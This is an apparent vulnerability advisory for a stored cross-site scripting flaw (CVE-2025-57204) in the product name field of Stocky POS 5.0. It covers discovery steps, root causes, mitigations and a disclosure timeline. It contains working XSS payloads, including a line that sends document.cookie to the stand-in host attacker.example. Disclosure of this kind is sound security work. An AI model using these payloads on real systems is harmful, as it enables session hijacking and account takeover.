.png)
2 hours ago
1
Discovered by: Michael Kim
Vendor: ui-lib (Uilibrary)
Product: Stocky – POS with Inventory Management & HRM (“Ultimate Inventory Management System with POS”)
Affected Version: 5.0 (as released June 2025)
Impact: Arbitrary JavaScript Execution (Stored XSS → Session Hijacking / Account Takeover)
Attack Type: Remote (authenticated)
Status: Vendor notified via email; no response as of September 2025
Executive Summary
A Stored Cross-Site Scripting (XSS) vulnerability has been discovered in Stocky POS with Inventory Management & HRM (version 5.0). The issue affects the Products module → Create Product form. An attacker with valid authentication can inject arbitrary HTML/JavaScript in the product “Name” field.
This payload is saved into the database and later executed whenever the product name is rendered in listing/detail views. The flaw allows an attacker to execute arbitrary JavaScript in the browser context of other users (including administrators), enabling session hijacking, privilege escalation, and client-side exploitation.
CVE: CVE-2025-57204
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
CVSS v3.1 (proposed): 8.0 (High) → AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
TL;DR
Where: Products → Create Product → “Name” field
Payload stored in DB: <details/open/ontoggle=alert(1)>
Trigger: Browse product list or details page
Impact: Arbitrary JavaScript execution → session theft, data exfiltration, admin account takeover
Step-by-Step Discovery & Exploitation
1. Initial Reconnaissance
Michael Kim began authenticated testing of the Products module in Stocky POS 5.0. Using the built-in developer tools, he observed that product creation was handled by a simple POST form, with no obvious client-side validation of the Name field.
2. Testing Input Handling
The first probe was a benign HTML injection:
<i>probe-test</i>Upon saving the product and loading the product list, the string rendered as italic text. This confirmed lack of output encoding.
3. Escalating to Stored XSS
Next, a harmless JavaScript event payload was inserted into the “Name” field:
<details/open/ontoggle=alert(1)>When navigating back to the product list and detail views, the payload executed immediately, confirming stored XSS.
4. Persistence Across Views
Because the injected payload was saved to the database, it fired on:
The product listing page
The product detail page
Any other downstream views rendering the product name
This persistence confirmed that any authenticated user who viewed the product would trigger the injected JavaScript.
5. Demonstrating Impact
To show real-world impact, the benign alert payload was replaced with a data exfiltration beacon:
<details/open/ontoggle=fetch('https://attacker.example/log?c='+document.cookie)>This PoC illustrates how an attacker could silently steal session tokens or authentication cookies, leading to full account takeover of high-privilege roles (e.g., admins, managers).
Proof-of-Concept (PoC)
Minimal Reproduction
Log in with valid credentials.
Go to Products → Create Product.
In the Name field, enter:
<details/open/ontoggle=alert(1)>Save the product.
Reload the Products list page → alert box triggers.
Root Cause Analysis
No input sanitization: HTML/JS is stored directly without filtering.
No output encoding: Dynamic product names are injected raw into HTML contexts.
No CSP: Lack of a Content-Security-Policy allows inline JavaScript execution via attributes.
Real-World Risk Scenarios
Session hijacking: An attacker can steal admin session tokens.
Privilege escalation: Injected JS can perform administrative actions (e.g., creating new privileged accounts).
Data theft: Sensitive business data (sales, HR info) can be exfiltrated.
Multi-user compromise: Any authenticated user who views the malicious product is affected.
Recommended Mitigations
For Developers (Server-Side Fixes)
Sanitize input: Strip or neutralize HTML/JavaScript in text fields.
Contextual output encoding: Encode dynamic content before rendering.
Reject dangerous tags: Block <script>, <svg>, <details> with event attributes, etc.
Defense-in-Depth (Client-Side)
Content-Security-Policy: Enforce a restrictive CSP with nonces/hashes.
Disable inline JS: Use script-src 'self' 'nonce-...' or strict-dynamic.
Operational Guidance
Apply vendor patch (when released).
Audit existing database entries for malicious payloads.
Consider temporarily restricting product creation access.
Formal CVE Description
Stocky POS with Inventory Management & HRM (ui-lib) version 5.0 contains a Stored Cross-Site Scripting (XSS) vulnerability in the Products module. The flaw resides in the product name parameter submitted via the Create Product form. Due to insufficient sanitization and lack of output encoding, an attacker can inject HTML/JavaScript payloads (e.g., <details/open/ontoggle=alert(1)>). The payload is stored in the database and executed unsanitized in downstream views (e.g., product list, product detail), allowing arbitrary JavaScript execution in the browser of any user who views the affected content. This may result in session hijacking, data exfiltration, privilege escalation, or administrative account takeover.
Disclosure Timeline
Discovery: June 2025 (by Michael Kim)
Vendor Notification: Emailed to ui-lib (Uilibrary)
Response: No acknowledgment received as of September 20, 2025
Public CVE: CVE-2025-57204
